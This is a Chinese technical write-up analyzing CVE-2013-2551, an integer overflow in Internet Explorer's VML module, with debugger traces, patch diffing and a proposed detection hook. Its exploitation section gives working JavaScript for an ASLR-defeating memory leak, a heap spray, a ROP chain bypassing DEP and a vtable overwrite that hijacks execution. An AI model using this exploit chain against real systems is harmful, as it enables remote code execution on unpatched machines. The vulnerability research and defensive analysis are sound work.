CVE-2013-2551样本分析及漏洞利用和防御

本文讲的是CVE-2013-2551样本分析及漏洞利用和防御


0x0 写在前面

VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10,随后在其博客上公开了技术细节。根据VUPEN描述,该漏洞产生于VGX.DLL模块,在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患

微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10,并给出相应平台的安全更新

本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造

调试思路是对IE开启页堆,利用调试器支持,实时检测到溢出之后,根据函数调用关系往上一层一层跟踪数据来源和阅读反汇编代码,寻找漏洞触发的关键点

0x1 调试环境 & 样本信息

1.1 调试环境

  • [操作系统]:Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate  SP1(X86)
  • [浏览器]:Internet Explorer 8.0.7601.17514
  • [调试器]:Windbg 6.11.0001.402 X86
  • [反汇编器]:IDA Pro 6.8.150423(32-bit)

1.2 样本信息

  • [样本名]:poc.html
  • [MD5]:0B8CBEE6465D1D22B79866DE997C509A
  • [SHA1]:161621EF49A453692537DBC33D10DDC73EB5133D
  • [CRC32]:FAE274A5

0x2 样本调试

2.1 对IE浏览器开启页堆

2.2 运行样本

使用Windbg附加IE,然后运行样本,允许加载ActiveX控件,并点击页面中的crash按钮

2.3 查看崩溃时信息

崩溃语句信息

0:012> g
(894.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44
eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
msvcrt!memcpy+0x158:
76de9966 8b448efc        mov     eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????

栈的调用关系

0:004> kb
ChildEBP RetAddr  Args to Child              
08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158
08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27
08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c
08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
...(lines have been omitted)...

查看vgx模块的详细信息

0:004> lm vm vgx
start    end        module name
72a10000 72ad1000   vgx        (pdb symbols)          c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb
    Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
    Image name: vgx.dll
    Timestamp:        Tue Jul 14 09:11:08 2009 (4A5BDB2C)
    CheckSum:         000C2C1E
    ImageSize:        000C1000
    File version:     8.0.7600.16385
    Product version:  8.0.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Windows Internet Explorer
    InternalName:     VGX.DLL
    OriginalFilename: VGX.DLL
    ProductVersion:   8.00.7600.16385
    FileVersion:      8.00.7600.16385 (win7_rtm.090713-1255)
    FileDescription:  Microsoft Vector Graphics Rendering(VML)
    LegalCopyright:    Microsoft Corporation. All rights reserved.

2.4 使用IDA查看崩溃点附近代码

msvcrt!memcpy函数经过千锤百炼几乎不用去怀疑,直接查看上层调用

计算偏移:0x72a3cfa4 – 0x72a10000 = 0x2CFA4

该版本vgx.dll模块在IDA中的基址为:0x198C0000

经过计算,memcpy函数在地址0x198ECFA4处被调用

经过分析,src为结构体第4项数据 + (结构体第2项数据 && 0xFFFF)* arg_8

2.5 继续查看上层函数

在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)

72a8da0c ff511c          call    dword ptr [ecx+1Ch]
72a8da0f 8b4510          mov     eax,dword ptr [ebp+10h]

计算该语句在IDA中的地址

0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C

使用IDA查看该函数

使用Windbg跟踪vgx!COALineDashStyleArray::get_item的执行流程

重新运行样本

0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> bu 72a8da0c - 72a10000 + vgx.dll
0:015> bu 72a8d983 - 72a10000 + vgx.dll
0:015> bl
 0 e 70a4da0c     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item+0x89
 1 e 70a4d983     0001 (0001)  0:**** vgx!COALineDashStyleArray::get_item

经过调试,在vgx!COALineDashStyleArray::get_item+0x70处调用vgx!ORG::CElements函数

vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c          call    dword ptr [ecx+2Ch]  ds:002b:709e7284={vgx!ORG::CElements (709fd079)}

单步步入vgx!ORG::CElements函数

根据movzx指令判断,该数值为无符号数

函数返回后,对使用0扩展之后的无符号数进行了有符号的条件判断

之前的unsigned short int 0扩展之后被强转为 int,且样本传入的数值为0xFFFF,造成整数溢出

0x3 漏洞利用

本文漏洞利用针对没打任何补丁的Windows 7 Ultimate  SP1(X86) 环境,结合源码和调试分析利用过程

本文中漏洞利用代码主要参考调试的Poc样本代码、以及网上的公开代码整理编写

漏洞利用成功截图

Poc源码中溢出的关键语句:

vml1.dashstyle.array.length = 0 - 1

3.1 过ASLR

过ASLR的源码大致如下:

for (var i=0; i<0x400; i++){
a[i].rotation;              
if (i == 0x300) {            
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
  }
 }
 var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
 var leak = a[i].marginLeft;
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;

在赋值之后,加入弹框把流程中断下来

vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");

使用Windbg附加运行,弹出窗口后在Windbg上点击暂停,然后搜索数值0x7ffe0300

0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f
020ce7c8  00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00  ................
020dbfa3  00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a  ....%..[...t....
020dccb8  00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00  ................
04be5c78  00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  ................
762113e6  00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90  ................
76212b41  00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01  ................

搜索的记录太多无法验证,那么我们再搜索字符串"Khwarezm111"

0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"
0044df04  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.
004b48b8  004b 0068 0077 0061 0072 0065 007a 006d  K.h.w.a.r.e.z.m.

接着搜索数值0x0044df04

0:015> s -b 0x0 L?0x7fffffff 04 df 44 00
04bc8568  04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00  ..D.............
04c0cdcc  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c0cdd8  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl
04c22c84  04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00  ..D.....(F.w..D.
04c22c90  04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c  ..D.|x........dl

结合以上三个搜索结果,可以猜测地址0x04be5c78就是我们寻找的保存数值0x7ffe0300的地方

在内存窗口验证猜测

往前翻,其内存布局如下

查看圈红处的数据

0:015> db 04a08124 L16
04a08124  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a08134  31 00 31 00 31 00                                1.1.1.
0:015> db 04a0814c L16
04a0814c  4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00  K.h.w.a.r.e.z.m.
04a0815c  31 00 31 00 31 00                                1.1.1.

可以看见,上诉代码在一片对象中间利用dashstyle属性插入了和一个对象相同大小的数组,利用溢出,定位到数组后一个对象保存字符串首地址的地方,通过越界写入任意值,然后利用对象的属性定位到该任意值

本文利用固定偏移泄露NTDLL.DLL的基址

0:015> dd 7ffe0300 L1 
7ffe0300  778970b0
0:015> u 778970b0 
ntdll!KiFastSystemCall:
778970b0 8bd4            mov     edx,esp
778970b2 0f34            sysenter

3.2 精确喷射

精确堆喷到地址0x0c0c0c0c,源码大致如下:

var fill = unescape("%u0c0c%u0c0c");
 while (fill.length < 0x1000){
 fill += fill;
 }
 // [ padding offset ]
 padding = fill.substring(0, 0x5F6);
 // [ fill each chunk with 0x1000 bytes ]
 evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);

3.3 过DEP

使用ROP链过DEP,源码大致如下:

function getRealAddr(base ,offect){
 var real_addr = base + offect;
 var str = real_addr.toString(16);
 var s1 = str.substring(0,4);
 var s2 = str.substring(4,8);
 return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);

3.4 劫持EIP

劫持EIP的源码大致如下:

for (var i=0; i<0x1000; i++){
a2[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}
vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;
for (var i=0; i<0x1000; i++)
{
delete a2[i];
CollectGarbage();
}
location.reload();

由于0x0c0c0c0c在内存中存在太多,不方便搜索,将其修改为一个比较特殊的值0x0eeeee0e,然后加入弹框

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0eeeee0e;
alert("pause");

使用windbg附加运行,在弹框后暂停,然后搜索数值0x0eeeee0e

0:015> s -b 0x0 L?0x7fffffff 0e ee ee 0e
01a25c49  0e ee ee 0e 25 01 00 94-91 c8 0a 74 05 00 8c fc  ....%......t....
01a2ca8a  0e ee ee 0e 25 01 00 5b-03 28 1e 74 05 00 00 0a  ....%..[.(.t....
01a2cfc0  0e ee ee 0e 00 00 00 00-80 00 00 00 00 00 00 00  ................
12b60280  0e ee ee 0e 50 00 b8 12-01 00 00 00 04 3c 92 12  ....P........<..

根据对其,可以排除第一个搜索结果,由于搜索到的结果不多,可以根据其分布在数组{1,2,3,4}之后寻找

经过在内存中往上寻找数组,地址0x12b60280符合条件

查看附近内存布局

我们看到,一个COAShape对象紧接着一个COAReturnedPointsForAnchor对象,它们占用的内存空间都是一样的。根据源码,我们可以知道,通过布置跟对象大小相同的数组,利用溢出,定位到后一个对象(此处是COAShape对象)的虚表

查看COAShape虚表的内容

此时我们知道虚表指针被改写了

对0x0eeeee0e下执行断点,中断时查看函数的调用关系

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
020cb840 6a23f212 12ba7be0 6a2bf712 126e3760 0xc0c0c0c
020cb848 6a2bf712 126e3760 126df2c8 6a2bf668 mshtml!ClearInterfaceFn+0xf
020cb854 6a2bf668 126e3748 126e3760 126df2c8 mshtml!CPeerHolder::DetachPeer+0x56
...(lines have been omitted)...

查看上层调用

mshtml!ClearInterfaceFn:
6a23f202 8b08            mov     ecx,dword ptr [eax]
6a23f204 832000          and     dword ptr [eax],0
6a23f207 85c9            test    ecx,ecx
6a23f209 7501            jne     mshtml!ClearInterfaceFn+0x9 (6a23f20c)
6a23f20b c3              ret
6a23f20c 8b01            mov     eax,dword ptr [ecx]
6a23f20e 51              push    ecx
6a23f20f ff5008          call    dword ptr [eax+8]
6a23f212 ebf7            jmp     mshtml!ClearInterfaceFn+0xf (6a23f20b)

地址0x6a23f20f是在调用虚表第二项,正常情况是Release函数,溢出后,劫持了EIP

构造的利用样本将在此处执行换栈操作

0:005> u poi(0c0c0c0c + 8) L1
ntdll!A_SHAInit+0x2e:
77865789 94              xchg    eax,esp

3.5 不使用0x7ffe0300泄露NTDLL.DLL基址过ASLR

使用固定偏移泄露NTDLL.DLL的基址在打过补丁的Windows 7系统上已经不能使用了,实际利用中局限性比较大。我们可以考虑泄露其他模块的基址,或者换种思路泄露NTDLL.DLL基址

对于已有的利用代码来讲换种方式泄露NTDLL.DLL基址对代码的改动量比较小

查看漏洞模块自身的导入表信息

好吧,没有导入NTDLL.DLL的函数。那么我也比较懒,泄露VGX.DLL模块的基址,通过导入表找到KERNEL32.DLL,针对其中某个函数到NTDLL.DLL基址的固定偏移泄露NTDLL.DLL基址。简单可行,源码改动小。当然,缺点是VGX.DLL模块版本限定太死

源码大致如下:

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length      = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft   = "Khwarezmia";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
 /////////////////////////////////////////////////////////
 //offset to PE
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + 0x3c;
 var leak = a[i].marginLeft;
 
 pe_offset = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find import directory
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + pe_offset + 0x80;
 var leak = a[i].marginLeft;
 
 import_directory = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 //find kernel32.dll
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + import_directory + 0x4C;
 var leak = a[i].marginLeft;
 
 thunk = parseInt(leak.charCodeAt(0).toString(16), 16);
 
 //find first function address
 vml1.dashstyle.array.item(0x2e+0x16) = baseOfVGX + thunk;
 var leak = a[i].marginLeft;
 
 first_function_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16);
 
 ntdll_base = first_function_addr - 0x47760;
  
 //return original value
 vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
 vml1.dashstyle.array.length = length_orig;
 /////////////////////////////////////////////////////////
 alert("base of ntdll.dll : " + ntdll_base.toString(16));
 break;
 }
 }
 return ntdll_base;

0x4 漏洞检测

通过本文第二部分分析,已经知道在vgx!ORG::CElements函数内造成溢出

源码中的关键溢出语句:

vml1.dashstyle.array.length = 0 - 1;

从数据关系的角度来看,银行柜台办理存款业务时,柜员收到现金的时候,应该先验钞还是先办理存款登记再验证钞票真伪?答案显然是前者。那么我们的检测点也应该提前到数据输入的地方。

4.1 根据微软安全公告下载补丁

根据微软的安全公告MS13-037下载到补丁KB2829530,补丁前后的VGX.DLL文件版本分别为

  • [补丁前]:8.0.7601.18106
  • [补丁后]:8.0.7601.18126

4.2 使用Bindiff对比文件

使用Bindiff对比vgx.dll之后,根据符号名称猜测是在COALineDashStyleArray::put_length函数进行的修补

进行对比

通过Windbg调试验证

走到判断数值是否小于0

G一下,利用样本正常运行,没有触发漏洞

我们可以钩取COALineDashStyleArray::put_length函数前五字节,插入判断代码,判断参数的值是否小于0,如果小于0提示用户触发CVE-2013-2551,否则还原流程

检测代码编写略

检测效果截图

0x5 总结

该漏洞属于整数溢出漏洞。其漏洞原因在于VGX.DLL模块中处理dashstyle.array.length属性时未对输入参数进行有效检查。利用溢出造成任意地址读写,改写虚表指针劫持EIP获得任意代码执行的能力

根据参考代码,笔者通过泄露NTDLL.DLL模块基址的方式绕过ASLR,当然,此次绕过的方式并不具有通用性,漏洞利用技巧也是笔者需要更多学习、思考以及参考野外样本利用方式待以提升的地方

最后编码对该漏洞利用样本进行动态检测,从数据关系的角度来看,一定是在获取外部数据的位置部署检测代码。笔者对关键函数进行API HOOK,一旦外部数据不合法立即提示给用户

原文发布时间为:2017年4月17日

本文作者:兴华永恒

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-08-03 14:18:54

CVE-2013-2551样本分析及漏洞利用和防御的相关文章

“cerber”敲诈者对CVE-2016-7255漏洞利用分析

本文讲的是"cerber"敲诈者对CVE-2016-7255漏洞利用分析, 0x1 前言 360互联网安全中心近日捕获到一款"ceber"敲诈者木马变种,该变种与其他"ceber"敲诈者木马变种在代码执行流程上并没有太大区别.唯一值得注意的是,该木马利用CVE-2016-7255权限提升漏洞对自身进行提权.本文将分析该敲诈者对CVE-2016-7255权限提升漏洞的利用过程. 0x2 漏洞细节 出问题的代码位于win32k!xxxNextWind

Alpine Linux 之漏洞利用(二):软件包管理器漏洞分析

本文讲的是Alpine Linux 之漏洞利用(二):软件包管理器漏洞分析, 在Alpine Linux 漏洞利用的第一部分<Alpine Linux:从漏洞发现到代码执行>,我对Alpine Linux的软件包管理器中的两个关键漏洞, CVE-2017-9669和CVE-2017-9671做了深入的分析. 今天这部分,我会对这两个漏洞的发现过程进行详细描述,并演示如何实现远程执行代码. 第一步是把部署环境中导致 漏洞的所有内容都进行复制,由于这是一个可用性测试(sanity check),所

从漏洞利用工具到零日漏洞:网络黑市大全

地下市场提供各种各样的服务供网络罪犯从中获利 地下市场 这些论坛提供的货品种类简直包罗万象,从物理世界的商品,比如毒品.武器,到数字世界的服务,比如垃圾邮件/网络钓鱼邮件投放.漏洞利用工具包服务."加壳器"."捆绑器".定制恶意软件开发.零日漏洞利用.防弹主机托管. 地下世界充斥各种外人听不懂的行话和俚语.加壳器,就是加密恶意软件以规避反病毒引擎检测的工具.捆绑器,是在合法程序中绑入恶意软件样本的工具.零日漏洞利用,是利用未打补丁漏洞的技术,攻击者用以获取对计算系统

四万个与RIG漏洞利用套件相关的子域名遭到关闭

根据最近的一项调查显示,曾被犯罪分子用于支持RIG漏洞利用套件的成千上万个非法子域名(通过网络钓鱼攻击所获取的受害者凭证进行注册)日前已经被大范围关停. 其中大多数子域名皆使用GoDaddy作为主域名注册商.GoDaddy与RSA Security以及其它数家安全厂商乃至独立研究人员共同合作,已于今年5月凭借这些恶意登陆页面所使用的大量IP地址将相关子域名进行了关停.这种利用失窃凭证创建子域名的作法被称为域名阴影(domain shadowing). E安全百科:什么是域名阴影技术? 域名阴影的

【安全课堂】九大角度分析数据库安全漏洞

本文讲的是[安全课堂]九大角度分析数据库安全漏洞,数据库漏洞的存在有多种方式,由于每一个现实的场景由多维组合而成,因此数据库漏洞对应也可以从不同角度归类划分.这种分类将更有利于我们掌握对每种漏洞的防护技术. 安华金和数据库安全实验室主要从以下九个角度对数据库漏洞进行分类介绍:‍‍‍‍ ‍‍1.从漏洞作用范围划分 ‍‍‍‍远程漏洞:攻击者可以利用并直接通过网络发起对数据库攻击的漏洞.这类漏洞危害极大,攻击者能随心所欲的通过此漏洞危害网络上可辨识的数据库.此类漏洞为黑客利用漏洞的主力. ‍‍‍‍‍‍

“永恒之蓝”勒索软件样本分析及一线案例处置分享

1. 样本收集 网上收集整理了已有的样本MD5,下载地址: https://gist.github.com/Blevene/42bed05ecb51c1ca0edf846c0153974a 同时结合US-CERT收集的样本列表: https://www.us-cert.gov/sites/default/files/ALERT_TA17-132A.xlsx 2. 样本分析 2.1 样本基本分析结果 大部分样本都不容易找到,但可以Hybrid Analysis搜索到样本相关信息,从已有列表中除去重

安卓内核UAF漏洞利用探秘

 雷锋网编者按:8月16日,第三届中国互联网安全领袖峰会(CSS 2017)在北京国家会议中心召开.作为九大分会场之一的腾讯安全探索论坛(TSec)以"安全新探索"为主题,云集了国际知名厂商及顶尖高校的资深安全专家,探讨全球信息安全领域前沿技术.研究成果及未来趋势.来自腾讯安全科恩实验室的方家弘.申迪分享了面对安卓内核中存在的UAF漏洞数量不断变小.利用难度逐渐变大的现状,将如何稳定高效地利用这类漏洞来完成操作系统提权. 方家弘:大家下午好!我是来自腾讯安全科恩实验室的方家弘,我和我的

Sundown EK:漏洞利用工具中的抄袭大师

简介 Sundown是目前市场上最新款的漏洞利用工具,而Sundown的作者也成功地证明了自己其实就是一个抄袭大师.不知道这种"借鸡生蛋"的事情被曝光之后,还有用户会买他的单吗? 近期,由于Angler和Nuclear这两款漏洞利用工具的倒台,使得漏洞利用市场上出现了明显的断层.但是你也不用担心,既然"前浪死在了沙滩上",那么"后浪肯定会跟上".虽然这两大巨头倒下了,但是像Neutrino和RIG这样优秀的漏洞利用工具也开始逐渐崭露头角了.不仅如

以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用

本文讲的是以DVRF(路由器漏洞靶机)为例解读JEB固件漏洞利用, 在本文中,我将介绍JEB的MIPS反编译器是如何帮助你查找和利用嵌入式设备中的软件漏洞. DVRF DVRF(Damn_Vulnerable_Router_Firmware) 是一个基于路由器Linksys E1550的路由器固件,里面包含了开发者写的一些存在漏洞的二进制文件,可以在路由器中安装该固件进行安全测试. DVRF模拟了一个比较真实的环境,比较适合初学路由器漏洞挖掘,不过前提是对其他CPU架构(MIPS)有一个基本的了